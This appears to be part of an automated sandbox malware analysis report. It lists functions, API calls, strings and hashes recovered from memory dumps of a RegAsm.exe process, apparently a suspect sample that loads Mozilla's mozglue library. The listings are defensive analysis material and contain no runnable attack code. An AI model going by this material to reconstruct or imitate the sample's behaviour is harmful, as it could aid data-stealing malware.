Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 6CB1FB72E0115A8FDB24CF68CC917EDB7B2EF95314F1402A9C549EB741DB309989CB51

Function 6CBB542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CBB88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CBB925C

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: a2bc53933b622e135d79a7cfbb64a3ea2aa0b9f76267574e54aa1d677896afec
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: A9B1C572E0424A8FDB14CF58CC816EDB7B2EF95314F180279C949EB785DB31A989CB91

Function 6CBB50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CBB8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CBB925C

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 96eb9a1a868108daab046a1f46772ea74598923437f1f45f8448ed7463d73d4a
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 45A1D772E001578FCB14CE58CC817ADB7B2EF95314F1902BAC949EB745DB30A999CB91

Function 6CB977A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB97A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB97A93

Part of subcall function 6CB65C50: GetTickCount64.KERNEL32 ref: 6CB65D40
Part of subcall function 6CB65C50: EnterCriticalSection.KERNEL32(6CBCF688), ref: 6CB65D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB97AA1

Part of subcall function 6CB65C50: __aulldiv.LIBCMT ref: 6CB65DB4
Part of subcall function 6CB65C50: LeaveCriticalSection.KERNEL32(6CBCF688), ref: 6CB65DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CB97B31

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: c607358c320b4c3abe5c8552de12dec32ef116babd30b6a37b815d77dca054f5
Instruction ID: 0acce38ff458ce5f81b138a3ff279064896b4b471468f163b33b94eebd024c0c
Opcode Fuzzy Hash: c607358c320b4c3abe5c8552de12dec32ef116babd30b6a37b815d77dca054f5
Instruction Fuzzy Hash: 57B170356083C08BCB14CF65C49065FB7E2AFC6318F154A2CE99567791DBB0E90ACB83

Function 00418940 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000), ref: 00418960

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 3aec6097f2b6cc18e3a50b756b1644abdcd7f84ae5ce4698d77b00bdd9d6955c
Instruction ID: 8551c2f8eff3d936ade43cc3e5b46360b1bd8edc09fa8c17659182bc6519fa86
Opcode Fuzzy Hash: 3aec6097f2b6cc18e3a50b756b1644abdcd7f84ae5ce4698d77b00bdd9d6955c
Instruction Fuzzy Hash: DF1118B5220209FFDB14CF54D884FBB37A9AF99314F109549F9098B250DB79EC82CB69

Function 00417420 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DD0,00000000,?), ref: 00417450
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DD0,00000000,?), ref: 00417457
GetLocalTime.KERNEL32(?,?,?,?,?,00420DD0,00000000,?), ref: 00417464
wsprintfA.USER32 ref: 00417493

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: 5f2f51bfbe90337ca5e895f9776451138895015e5f3a8196a904fc3d9a46e3df
Instruction ID: 50de9df5f87ad77eb031dc94815d0013ed19ce73efbeceace7c97849f90fee7e
Opcode Fuzzy Hash: 5f2f51bfbe90337ca5e895f9776451138895015e5f3a8196a904fc3d9a46e3df
Instruction Fuzzy Hash: 82113CB2904518ABCB14DFC9DD45FBEB7B9FB4CB11F10411AF605A2290D3795941C7B4

Function 6CBAB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6CB7FE3F), ref: 6CBAB720
RtlNtStatusToDosError.NTDLL ref: 6CBAB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6CB7FE3F), ref: 6CBAB760

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: fbf9ae13ffb397cc4754fb7cbf67a483516162d399934e48d5bb1cc8ff3e7e3f
Instruction ID: 2847801426c8e4d6d605dd459f3836ca77743d4226262abe48e92bb636ea3f47
Opcode Fuzzy Hash: fbf9ae13ffb397cc4754fb7cbf67a483516162d399934e48d5bb1cc8ff3e7e3f
Instruction Fuzzy Hash: 76F0A470A4428CAEDF059AE18C85BEF77BCDB04319F105129E525755C1D7B495C8C661

Function 6CBAB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CB503D4,?), ref: 6CBAB955
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,0000001C), ref: 6CBAB9A5

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 87acf302047f6c882ae9e78a7fec5630b5bf4bc065acef9a7c935563c8ce8cff
Instruction ID: f122a24a8fdff73c3c53c414b4beeebd3403e86b27fc1c5c92331042913a46f0
Opcode Fuzzy Hash: 87acf302047f6c882ae9e78a7fec5630b5bf4bc065acef9a7c935563c8ce8cff
Instruction Fuzzy Hash: FC41C571E0425DDFDF04CFE8D891ADEB7B5EF88314F148129E855A7704DB30A9458B91

Function 0041C8D9 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001C897), ref: 0041C8DE

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 92af57a2eb04ab3802c4d219b965fa46d3e89a576cd6fa8fbae2cab6dd9d340f
Instruction ID: 8e4dbfb736b9908720f30fe25f95c1a3b6087da1e007f902b0e4d68da9f23204
Opcode Fuzzy Hash: 92af57a2eb04ab3802c4d219b965fa46d3e89a576cd6fa8fbae2cab6dd9d340f
Instruction Fuzzy Hash: 8D9002B829111456561037719D896896D905ACC6137554861B405C4055EA9841849529

Function 00419160 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6CBA55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CB7E1A5), ref: 6CBA5606
LoadLibraryW.KERNEL32(gdi32,?,6CB7E1A5), ref: 6CBA560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CBA5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CBA563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CBA566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CBA567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CBA5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CBA56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CBA56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CBA56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CBA56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CBA5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CBA572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CBA5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CBA5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CBA577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CBA5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CBA57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CBA57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CBA57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CBA57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CBA57FF

Strings

SetWindowPos, xrefs: 6CBA56F7
CreateSolidBrush, xrefs: 6CBA57E4
ReleaseDC, xrefs: 6CBA5742
GetDpiForWindow, xrefs: 6CBA5690
StretchDIBits, xrefs: 6CBA57CC
AreDpiAwarenessContextsEqual, xrefs: 6CBA5637
MonitorFromWindow, xrefs: 6CBA578D
SetWindowLongPtrW, xrefs: 6CBA57B7
GetThreadDpiAwarenessContext, xrefs: 6CBA562D
FillRect, xrefs: 6CBA5729
CreateWindowExW, xrefs: 6CBA56C5
GetMonitorInfoW, xrefs: 6CBA57A2
LoadIconW, xrefs: 6CBA575B
ShowWindow, xrefs: 6CBA56DE
GetSystemMetricsForDpi, xrefs: 6CBA5677
user32, xrefs: 6CBA5601
RegisterClassW, xrefs: 6CBA56AC
GetWindowDC, xrefs: 6CBA5710
EnableNonClientDpiScaling, xrefs: 6CBA5666
DeleteObject, xrefs: 6CBA57F9
gdi32, xrefs: 6CBA560A
LoadCursorW, xrefs: 6CBA5774

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 85e2a8e5f53f1a242c2706257f7f12bd6f0ac64d0988c32e3e19039a9c527000
Instruction ID: 808b1581c6bc136f1f34095e5fdbbdf7bedde6ff99e407b825e362ce9e340209
Opcode Fuzzy Hash: 85e2a8e5f53f1a242c2706257f7f12bd6f0ac64d0988c32e3e19039a9c527000
Instruction Fuzzy Hash: 19519378705B876BDB009F75CD0492A3BBCFB0A656710482AA961E3A01EF74CF01CF66

Function 6CB8CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CB5582D), ref: 6CB8CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CB5582D), ref: 6CB8CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CBBFE98,?,?,?,?,?,6CB5582D), ref: 6CB8CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CB5582D), ref: 6CB8CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CB5582D), ref: 6CB8CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CB5582D), ref: 6CB8CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB5582D), ref: 6CB8CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CB8CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CB8CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CB8CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CB8CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CB8CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CB8CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CB8CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CB8CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CB8CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CB8CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CB8CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CB8CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CB8CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CB8CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CB8CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CB8CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CB8CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CB8CE8A

Strings

fileioall, xrefs: 6CB8CCA8
default, xrefs: 6CB8CC21
mainthreadio, xrefs: 6CB8CC7C
ipcmessages, xrefs: 6CB8CDBE
jsallocations, xrefs: 6CB8CD0E
seqstyle, xrefs: 6CB8CCE6
nostacksampling, xrefs: 6CB8CD7C
samplingallthreads, xrefs: 6CB8CE2C
leaf, xrefs: 6CB8CC66
audiocallbacktracing, xrefs: 6CB8CDD4
java, xrefs: 6CB8CC37
Q^, xrefs: 6CB8CD25
cpuallthreads, xrefs: 6CB8CE16
screenshots, xrefs: 6CB8CCD4
unregisteredthreads, xrefs: 6CB8CE58
processcpu, xrefs: 6CB8CE6E
markersallthreads, xrefs: 6CB8CE42
Unrecognized feature "%s"., xrefs: 6CB8CEA0
power, xrefs: 6CB8CE84
stackwalk, xrefs: 6CB8CCF8
preferencereads, xrefs: 6CB8CD92
fileio, xrefs: 6CB8CC92
notimerresolutionchange, xrefs: 6CB8CE00
noiostacks, xrefs: 6CB8CCBE
nativeallocations, xrefs: 6CB8CDA8

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$Q^$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-1065946776
Opcode ID: e39a94a96b7e4fb63f9925892e3b1a499e664a632d3f83595869ed53b5360083
Instruction ID: de06ed676a5e1f3bc3dd80747f77aa261527a9e050254b43eabe12999f842f6e
Opcode Fuzzy Hash: e39a94a96b7e4fb63f9925892e3b1a499e664a632d3f83595869ed53b5360083
Instruction Fuzzy Hash: 7D51A8C5A472F662FE0075156D10BBF1409EF9325AF508636ED09B2E80FF24B60987B7

Function 6CB547C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CB54801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB54817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB5482D
__Init_thread_footer.LIBCMT ref: 6CB5484A

Part of subcall function 6CB7AB3F: EnterCriticalSection.KERNEL32(6CBCE370,?,?,6CB43527,6CBCF6CC,?,?,?,?,?,?,?,?,6CB43284), ref: 6CB7AB49
Part of subcall function 6CB7AB3F: LeaveCriticalSection.KERNEL32(6CBCE370,?,6CB43527,6CBCF6CC,?,?,?,?,?,?,?,?,6CB43284,?,?,6CB656F6), ref: 6CB7AB7C

GetCurrentThreadId.KERNEL32 ref: 6CB5485F
GetCurrentThreadId.KERNEL32 ref: 6CB5487E
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB5488B
free.MOZGLUE(?), ref: 6CB5493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB54956
free.MOZGLUE(00000000), ref: 6CB54960
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB5499A

Part of subcall function 6CB7AB89: EnterCriticalSection.KERNEL32(6CBCE370,?,?,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284), ref: 6CB7AB94
Part of subcall function 6CB7AB89: LeaveCriticalSection.KERNEL32(6CBCE370,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284,?,?,6CB656F6), ref: 6CB7ABD1

free.MOZGLUE(?), ref: 6CB549C6
free.MOZGLUE(?), ref: 6CB549E9

